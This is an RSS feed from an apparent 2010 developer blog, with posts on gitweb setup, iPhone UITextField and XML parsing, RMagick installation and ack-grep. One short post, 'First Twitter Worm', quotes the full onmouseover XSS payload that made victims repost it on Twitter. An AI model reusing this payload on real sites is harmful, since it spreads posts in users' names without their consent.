<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>bcaccinolo&#039;s blog</title>
	<atom:link href="http://bcaccinolo.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://bcaccinolo.wordpress.com</link>
	<description>Benoit Caccinolo&#039;s articles repository</description>
	<lastBuildDate>Mon, 16 Jan 2012 12:02:28 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='bcaccinolo.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>bcaccinolo&#039;s blog</title>
		<link>http://bcaccinolo.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://bcaccinolo.wordpress.com/osd.xml" title="bcaccinolo&#039;s blog" />
	<atom:link rel='hub' href='http://bcaccinolo.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Gitweb configuration, the easy way</title>
		<link>http://bcaccinolo.wordpress.com/2010/12/28/gitweb-configuration-the-easy-way/</link>
		<comments>http://bcaccinolo.wordpress.com/2010/12/28/gitweb-configuration-the-easy-way/#comments</comments>
		<pubDate>Tue, 28 Dec 2010 11:03:48 +0000</pubDate>
		<dc:creator>bcaccinolo</dc:creator>
				<category><![CDATA[git]]></category>
		<category><![CDATA[gitweb]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://bcaccinolo.wordpress.com/?p=85</guid>
		<description><![CDATA[Ok if you have juste one git repository, git instaweb is for you. This command automatically generate the config to connect with a webserver installed on your server. I recommand you to try, it&#8217;s impressive as it&#8217;s simple. For me the best config is : git instaweb -d webrick Now if you have several git [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bcaccinolo.wordpress.com&amp;blog=10965680&amp;post=85&amp;subd=bcaccinolo&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Ok if you have juste one git repository, <strong>git instaweb</strong> is for you. This command automatically generate the config to connect with a webserver installed on your server. I recommand you to try, it&#8217;s  impressive as it&#8217;s simple. For me the best config is :</p>
<blockquote><p>git instaweb -d webrick</p></blockquote>
<p>Now if you have several git projects as I am, you want to use gitweb. In fact instaweb uses the gitweb script but configured for one specific repository. The script is in .git/gitweb/gitweb.cgi .</p>
<p>On Ubuntu, install the script with the command:</p>
<blockquote><p>apt-get install gitweb</p></blockquote>
<p>I&#8217;m going to assume you have apache2 and mod_perl installed. So in the config file</p>
<blockquote><p>/etc/apache2/sites-enabled/000-default</p></blockquote>
<p>add this config at the end of the VirtualHost block:</p>
<blockquote><p>ScriptAlias /git &#8220;/usr/lib/cgi-bin/gitweb.cgi&#8221;<br />
&lt;Directory &#8220;/home/git/&#8221;&gt;<br />
Options Indexes FollowSymLinks ExecCGI<br />
Order allow,deny<br />
Allow from all<br />
&lt;/Directory&gt;</p></blockquote>
<p>Now you just have to configure gitweb by setting the directory containing your git projects in the file:</p>
<blockquote><p>/etc/gitweb.conf</p></blockquote>
<p>Finally, restart apache and you should be able to browse your projects on this url:</p>
<blockquote><p>http://localhost/git</p></blockquote>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bcaccinolo.wordpress.com/85/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bcaccinolo.wordpress.com/85/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bcaccinolo.wordpress.com/85/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bcaccinolo.wordpress.com/85/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bcaccinolo.wordpress.com/85/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bcaccinolo.wordpress.com/85/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bcaccinolo.wordpress.com/85/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bcaccinolo.wordpress.com/85/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bcaccinolo.wordpress.com/85/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bcaccinolo.wordpress.com/85/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bcaccinolo.wordpress.com/85/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bcaccinolo.wordpress.com/85/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bcaccinolo.wordpress.com/85/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bcaccinolo.wordpress.com/85/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bcaccinolo.wordpress.com&amp;blog=10965680&amp;post=85&amp;subd=bcaccinolo&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bcaccinolo.wordpress.com/2010/12/28/gitweb-configuration-the-easy-way/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/39c15208401288a850fcae7fa884e45c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">bcaccinolo</media:title>
		</media:content>
	</item>
		<item>
		<title>UITextField with the keyboard automagically</title>
		<link>http://bcaccinolo.wordpress.com/2010/12/28/uitextfield-with-the-keyboard-automagically/</link>
		<comments>http://bcaccinolo.wordpress.com/2010/12/28/uitextfield-with-the-keyboard-automagically/#comments</comments>
		<pubDate>Tue, 28 Dec 2010 10:16:20 +0000</pubDate>
		<dc:creator>bcaccinolo</dc:creator>
				<category><![CDATA[iPhone]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[keyboard]]></category>
		<category><![CDATA[uitextfield]]></category>

		<guid isPermaLink="false">http://bcaccinolo.wordpress.com/?p=50</guid>
		<description><![CDATA[On an UIView containing an UITextField, if you want the keyboard to appear when the view is displayed, you have to send the message becomeFirstResponder to the UITextField of the View like this: - (void)viewWillAppear:(BOOL)animated { [myTextField becomeFirstResponder]; }<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bcaccinolo.wordpress.com&amp;blog=10965680&amp;post=50&amp;subd=bcaccinolo&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>On an UIView containing an UITextField, if you want the keyboard to appear when the view is displayed, you have to send the message <strong>becomeFirstResponder</strong> to the UITextField of the View like this:</p>
<blockquote>
<pre>- (void)viewWillAppear:(BOOL)animated {
	[myTextField becomeFirstResponder];
}</pre>
</blockquote>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bcaccinolo.wordpress.com/50/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bcaccinolo.wordpress.com/50/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bcaccinolo.wordpress.com/50/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bcaccinolo.wordpress.com/50/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bcaccinolo.wordpress.com/50/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bcaccinolo.wordpress.com/50/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bcaccinolo.wordpress.com/50/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bcaccinolo.wordpress.com/50/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bcaccinolo.wordpress.com/50/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bcaccinolo.wordpress.com/50/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bcaccinolo.wordpress.com/50/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bcaccinolo.wordpress.com/50/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bcaccinolo.wordpress.com/50/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bcaccinolo.wordpress.com/50/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bcaccinolo.wordpress.com&amp;blog=10965680&amp;post=50&amp;subd=bcaccinolo&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bcaccinolo.wordpress.com/2010/12/28/uitextfield-with-the-keyboard-automagically/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/39c15208401288a850fcae7fa884e45c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">bcaccinolo</media:title>
		</media:content>
	</item>
		<item>
		<title>XML to NSDictionary Converter</title>
		<link>http://bcaccinolo.wordpress.com/2010/11/14/xml-to-nsdictionary-converter/</link>
		<comments>http://bcaccinolo.wordpress.com/2010/11/14/xml-to-nsdictionary-converter/#comments</comments>
		<pubDate>Sun, 14 Nov 2010 10:51:26 +0000</pubDate>
		<dc:creator>bcaccinolo</dc:creator>
				<category><![CDATA[iPhone]]></category>
		<category><![CDATA[iphone]]></category>
		<category><![CDATA[nsarray]]></category>
		<category><![CDATA[nsdictionary]]></category>
		<category><![CDATA[xml]]></category>

		<guid isPermaLink="false">http://bcaccinolo.wordpress.com/?p=53</guid>
		<description><![CDATA[I found recently a nice lib easily converting XML to NSDictionary. The code is now on GitHub. Here are the key ideas: XML elements map to key names in the dictionary Each element corresponds to a child dictionary Attribute key-value pairs are added to the element’s child dictionary Strings from text nodes are assigned to [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bcaccinolo.wordpress.com&amp;blog=10965680&amp;post=53&amp;subd=bcaccinolo&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I found recently a nice lib easily converting XML to NSDictionary. <a href="https://github.com/bcaccinolo/XML-to-NSDictionary">The code is now on GitHub</a>.</p>
<p>Here are the key ideas:</p>
<ol>
<li>XML elements map to key names in the dictionary</li>
<li>Each element corresponds to a child dictionary</li>
<li>Attribute key-value pairs are added to the element’s child dictionary</li>
<li>Strings from text nodes are assigned to the child dictionary’s “text” key</li>
<li>If an element name is encountered multiple times, the value of the element is set to an array of children dictionaries</li>
</ol>
<p><a href="http://troybrant.net/blog/2010/09/simple-xml-to-nsdictionary-converter/">For a more detailed presentation. </a></p>
<h3>A detailed example:</h3>
<p>The XML to parse:</p>
<blockquote><p>//    &lt;items&gt;<br />
//        &lt;item id=”0001″ type=”donut”&gt;<br />
//            &lt;name&gt;Cake&lt;/name&gt;<br />
//            &lt;ppu&gt;0.55&lt;/ppu&gt;<br />
//            &lt;batters&gt;<br />
//                &lt;batter id=”1001″&gt;Regular&lt;/batter&gt;<br />
//                &lt;batter id=”1002″&gt;Chocolate&lt;/batter&gt;<br />
//                &lt;batter id=”1003″&gt;Blueberry&lt;/batter&gt;<br />
//            &lt;/batters&gt;<br />
//            &lt;topping id=”5001″&gt;None&lt;/topping&gt;<br />
//            &lt;topping id=”5002″&gt;Glazed&lt;/topping&gt;<br />
//            &lt;topping id=”5005″&gt;Sugar&lt;/topping&gt;<br />
//        &lt;/item&gt;<br />
//    &lt;/items&gt;<br />
//</p></blockquote>
<p>The Code:</p>
<blockquote><p>NSString *testXMLString = @&#8221;&lt;items&gt;&lt;item  id=\&#8221;0001\&#8221;   type=\&#8221;donut\&#8221;&gt;&lt;name&gt;Cake&lt;/name&gt;&lt;ppu&gt;0.55&lt;/ppu&gt;&lt;batters&gt;&lt;batter   id=\&#8221;1001\&#8221;&gt;Regular&lt;/batter&gt;&lt;batter   id=\&#8221;1002\&#8221;&gt;Chocolate&lt;/batter&gt;&lt;batter   id=\&#8221;1003\&#8221;&gt;Blueberry&lt;/batter&gt;&lt;/batters&gt;&lt;topping   id=\&#8221;5001\&#8221;&gt;None&lt;/topping&gt;&lt;topping   id=\&#8221;5002\&#8221;&gt;Glazed&lt;/topping&gt;&lt;topping   id=\&#8221;5005\&#8221;&gt;Sugar&lt;/topping&gt;&lt;/item&gt;&lt;/items&gt;&#8221;;</p>
<p>// Parse the XML into a dictionary<br />
NSError *parseError = nil;<br />
NSDictionary *xmlDictionary = [XMLReader dictionaryForXMLString:testXMLString error:&amp;parseError];</p>
<p>// Print the dictionary<br />
NSLog(@&#8221;%@&#8221;, xmlDictionary);</p></blockquote>
<p>The result</p>
<blockquote><p>// xmlDictionary = {<br />
//    items = {<br />
//        item =  {<br />
//            id = 0001;<br />
//            type = donut;<br />
//            name = {<br />
//                text = Cake;<br />
//            };<br />
//            ppu = {<br />
//                text = 0.55;<br />
//            };<br />
//            batters = {<br />
//                batter =  (<br />
//                    {<br />
//                        id = 1001;<br />
//                        text = Regular;<br />
//                    },<br />
//                    {<br />
//                        id = 1002;<br />
//                        text = Chocolate;<br />
//                    },<br />
//                    {<br />
//                        id = 1003;<br />
//                        text = Blueberry;<br />
//                    }<br />
//                );<br />
//            };<br />
//            topping = (<br />
//                {<br />
//                    id = 5001;<br />
//                    text = None;<br />
//                },<br />
//                {<br />
//                    id = 5002;<br />
//                    text = Glazed;<br />
//                },<br />
//                {<br />
//                    id = 5005;<br />
//                    text = Sugar;<br />
//                }<br />
//            );<br />
//        };<br />
//     };<br />
// }<br />
//</p></blockquote>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bcaccinolo.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bcaccinolo.wordpress.com/53/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bcaccinolo.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bcaccinolo.wordpress.com/53/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bcaccinolo.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bcaccinolo.wordpress.com/53/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bcaccinolo.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bcaccinolo.wordpress.com/53/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bcaccinolo.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bcaccinolo.wordpress.com/53/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bcaccinolo.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bcaccinolo.wordpress.com/53/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bcaccinolo.wordpress.com/53/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bcaccinolo.wordpress.com/53/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bcaccinolo.wordpress.com&amp;blog=10965680&amp;post=53&amp;subd=bcaccinolo&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bcaccinolo.wordpress.com/2010/11/14/xml-to-nsdictionary-converter/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/39c15208401288a850fcae7fa884e45c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">bcaccinolo</media:title>
		</media:content>
	</item>
		<item>
		<title>Install Rmagick on Mac OS X</title>
		<link>http://bcaccinolo.wordpress.com/2010/10/29/install-rmagick-on-mac-os-x/</link>
		<comments>http://bcaccinolo.wordpress.com/2010/10/29/install-rmagick-on-mac-os-x/#comments</comments>
		<pubDate>Fri, 29 Oct 2010 17:00:55 +0000</pubDate>
		<dc:creator>bcaccinolo</dc:creator>
				<category><![CDATA[ruby on rails]]></category>
		<category><![CDATA[gem]]></category>
		<category><![CDATA[rails]]></category>
		<category><![CDATA[rmagick]]></category>
		<category><![CDATA[ruby]]></category>

		<guid isPermaLink="false">http://bcaccinolo.wordpress.com/?p=34</guid>
		<description><![CDATA[I like to use the standard ruby tools when developing with Rails. So if I have a gem to install, I won&#8217;t use &#8216;apt-get install&#8217; or &#8216;port install&#8217;, I will use &#8216;gem install&#8217;. To install Rmagick the command is: sudo  gem install rmagick And the result is : Building native extensions.  This could take a [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bcaccinolo.wordpress.com&amp;blog=10965680&amp;post=34&amp;subd=bcaccinolo&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I like to use the standard ruby tools when developing with Rails. So if I have a gem to install, I won&#8217;t use &#8216;apt-get install&#8217; or &#8216;port install&#8217;, I will use &#8216;gem install&#8217;. To install <strong>Rmagick</strong> the command is:</p>
<blockquote><p>sudo  gem install rmagick</p></blockquote>
<p>And the result is :</p>
<blockquote><p>Building native extensions.  This could take a while&#8230;<br />
ERROR:  Error installing rmagick:<br />
ERROR: Failed to build gem native extension.</p>
<p>/usr/local/bin/ruby extconf.rb<br />
checking for Ruby version &gt;= 1.8.5&#8230; yes<br />
checking for gcc&#8230; yes<br />
checking for Magick-config&#8230; no<br />
Can&#8217;t install RMagick 2.13.1. Can&#8217;t find Magick-config in /usr/local/bin/:/opt/local/bin:/opt/local/sbin:/usr/local/mysql/bin/:/usr/bin:/bin:/usr/sbin:/sbin</p>
<p>*** extconf.rb failed ***<br />
Could not create Makefile due to some reason, probably lack of<br />
necessary libraries and/or headers.  Check the mkmf.log file for more<br />
details.  You may need configuration options.</p>
<p>Provided configuration options:<br />
&#8211;with-opt-dir<br />
&#8211;without-opt-dir<br />
&#8211;with-opt-include<br />
&#8211;without-opt-include=${opt-dir}/include<br />
&#8211;with-opt-lib<br />
&#8211;without-opt-lib=${opt-dir}/lib<br />
&#8211;with-make-prog<br />
&#8211;without-make-prog<br />
&#8211;srcdir=.<br />
&#8211;curdir<br />
&#8211;ruby=/usr/local/bin/ruby</p>
<p>Gem files will remain installed in /usr/local/lib/ruby/gems/1.8/gems/rmagick-2.13.1 for inspection.<br />
Results logged to /usr/local/lib/ruby/gems/1.8/gems/rmagick-2.13.1/ext/RMagick/gem_make.out</p></blockquote>
<p>It seems there are dependencies not installed. To solve this problem, I will use <a title="macport to install rmagick for rails development and interface with iphone" href="http://www.macports.org/">macport</a> and install the necesary libs with the command:</p>
<blockquote><p>sudo port install tiff -macosx imagemagick +q8 +gs +wmf</p></blockquote>
<p>After a bunch of compilation, I relaunch my gem command :</p>
<blockquote><p>sudo gem install rmagick</p></blockquote>
<p>And &#8220;Voila!&#8221; it works. Now have fun with RMagick functionalities.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bcaccinolo.wordpress.com/34/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bcaccinolo.wordpress.com/34/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bcaccinolo.wordpress.com/34/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bcaccinolo.wordpress.com/34/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bcaccinolo.wordpress.com/34/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bcaccinolo.wordpress.com/34/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bcaccinolo.wordpress.com/34/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bcaccinolo.wordpress.com/34/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bcaccinolo.wordpress.com/34/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bcaccinolo.wordpress.com/34/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bcaccinolo.wordpress.com/34/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bcaccinolo.wordpress.com/34/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bcaccinolo.wordpress.com/34/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bcaccinolo.wordpress.com/34/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bcaccinolo.wordpress.com&amp;blog=10965680&amp;post=34&amp;subd=bcaccinolo&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bcaccinolo.wordpress.com/2010/10/29/install-rmagick-on-mac-os-x/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/39c15208401288a850fcae7fa884e45c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">bcaccinolo</media:title>
		</media:content>
	</item>
		<item>
		<title>Killer tool to develop on iPhone: ack-grep</title>
		<link>http://bcaccinolo.wordpress.com/2010/09/28/killer-tool-to-develop-on-iphone-ack-grep/</link>
		<comments>http://bcaccinolo.wordpress.com/2010/09/28/killer-tool-to-develop-on-iphone-ack-grep/#comments</comments>
		<pubDate>Tue, 28 Sep 2010 10:27:15 +0000</pubDate>
		<dc:creator>bcaccinolo</dc:creator>
				<category><![CDATA[iPhone]]></category>
		<category><![CDATA[development]]></category>
		<category><![CDATA[iphone]]></category>

		<guid isPermaLink="false">http://bcaccinolo.wordpress.com/?p=23</guid>
		<description><![CDATA[When developing for iPhone, the IDE coming in mind is XCode and it&#8217;s a good thing cause XCode is a good piece of software. I use XCode everyday but I never found the search functionality good enough. That&#8217;s why I switched to ack-grep. It&#8217;s a little perl script way faster than grep or any other [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bcaccinolo.wordpress.com&amp;blog=10965680&amp;post=23&amp;subd=bcaccinolo&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>When developing for iPhone, the IDE coming in mind is XCode and it&#8217;s a good thing cause XCode is a good piece of software. I use XCode everyday but I never found the search functionality good enough. That&#8217;s why I switched to ack-grep. It&#8217;s a little perl script way faster than grep or any other search functionality. And the result presentation is clear and efficient.</p>
<p>Recently, I had to work on an complex iPhone application developed by another company. ack-grep helped me a lot to dig in the hairy code. Since I&#8217;m using this tool I can&#8217;t work without it.</p>
<p><a title="ack grep iphone development" href="http://betterthangrep.com/">The installation is easy, it&#8217;s worth a try</a>.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bcaccinolo.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bcaccinolo.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bcaccinolo.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bcaccinolo.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bcaccinolo.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bcaccinolo.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bcaccinolo.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bcaccinolo.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bcaccinolo.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bcaccinolo.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bcaccinolo.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bcaccinolo.wordpress.com/23/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bcaccinolo.wordpress.com/23/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bcaccinolo.wordpress.com/23/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bcaccinolo.wordpress.com&amp;blog=10965680&amp;post=23&amp;subd=bcaccinolo&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bcaccinolo.wordpress.com/2010/09/28/killer-tool-to-develop-on-iphone-ack-grep/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
<enclosure url="" length="" type="" />
	
		<media:content url="http://1.gravatar.com/avatar/39c15208401288a850fcae7fa884e45c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">bcaccinolo</media:title>
		</media:content>
	</item>
		<item>
		<title>First Twitter Worm</title>
		<link>http://bcaccinolo.wordpress.com/2010/09/21/first-twitter-worm/</link>
		<comments>http://bcaccinolo.wordpress.com/2010/09/21/first-twitter-worm/#comments</comments>
		<pubDate>Tue, 21 Sep 2010 12:33:59 +0000</pubDate>
		<dc:creator>bcaccinolo</dc:creator>
				<category><![CDATA[twitter]]></category>
		<category><![CDATA[worm]]></category>

		<guid isPermaLink="false">http://bcaccinolo.wordpress.com/?p=15</guid>
		<description><![CDATA[This worm is a js code message. When you put your mouse on it, the twitter worm fires an onmouseover event and it posts itself in your name on Twitter. This way it propagates itself through your list of friends ! The result is a black message block. The code is : http://a.no/@&#8221;onmouseover=&#8221;;$(&#8216;textarea:first&#8217;).val(this.innerHTML);$(&#8216;.status-update-form&#8217;).submit()&#8221; style=&#8221;color:#000;background:#000;/<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bcaccinolo.wordpress.com&amp;blog=10965680&amp;post=15&amp;subd=bcaccinolo&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This worm is a js code message. When you put your mouse on it, the twitter worm fires an onmouseover event and it posts itself in your name on Twitter. This way it propagates itself through your list of friends ! The result is a black message block.</p>
<p style="text-align:center;">
<div id="attachment_17" class="wp-caption aligncenter" style="width: 406px"><a href="http://bcaccinolo.files.wordpress.com/2010/09/screen-shot-2010-09-21-at-14-32-22.png"><img class="size-medium wp-image-17 " title="twitter worm " src="http://bcaccinolo.files.wordpress.com/2010/09/screen-shot-2010-09-21-at-14-32-22.png?w=396&#038;h=69" alt="twitter worm " width="396" height="69" /></a><p class="wp-caption-text">twitter worm result</p></div>
<p>The code is :</p>
<blockquote><p>http://a.no/@&#8221;onmouseover=&#8221;;$(&#8216;textarea:first&#8217;).val(this.innerHTML);$(&#8216;.status-update-form&#8217;).submit()&#8221; style=&#8221;color:#000;background:#000;/</p></blockquote>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/bcaccinolo.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/bcaccinolo.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/bcaccinolo.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/bcaccinolo.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/bcaccinolo.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/bcaccinolo.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/bcaccinolo.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/bcaccinolo.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/bcaccinolo.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/bcaccinolo.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/bcaccinolo.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/bcaccinolo.wordpress.com/15/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/bcaccinolo.wordpress.com/15/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/bcaccinolo.wordpress.com/15/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=bcaccinolo.wordpress.com&amp;blog=10965680&amp;post=15&amp;subd=bcaccinolo&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://bcaccinolo.wordpress.com/2010/09/21/first-twitter-worm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/39c15208401288a850fcae7fa884e45c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">bcaccinolo</media:title>
		</media:content>

		<media:content url="http://bcaccinolo.files.wordpress.com/2010/09/screen-shot-2010-09-21-at-14-32-22.png?w=300" medium="image">
			<media:title type="html">twitter worm </media:title>
		</media:content>
	</item>
		<item>
		<title>iPhone essential performance tools list</title>
		<link>http://bcaccinolo.wordpress.com/2010/09/15/iphone-essential-performance-tools-list/</link>
		<comments>http://bcaccinolo.wordpress.com/2010/09/15/iphone-essential-performance-tools-list/#comments</comments>
		<pubDate>Wed, 15 Sep 2010 08:15:21 +0000</pubDate>
		<dc:creator>bcaccinolo</dc:creator>
				<category><![CDATA[iPhone]]></category>
		<category><![CDATA[performance]]></category>

		<guid isPermaLink="false">http://bcaccinolo.wordpress.com/?p=3</guid>
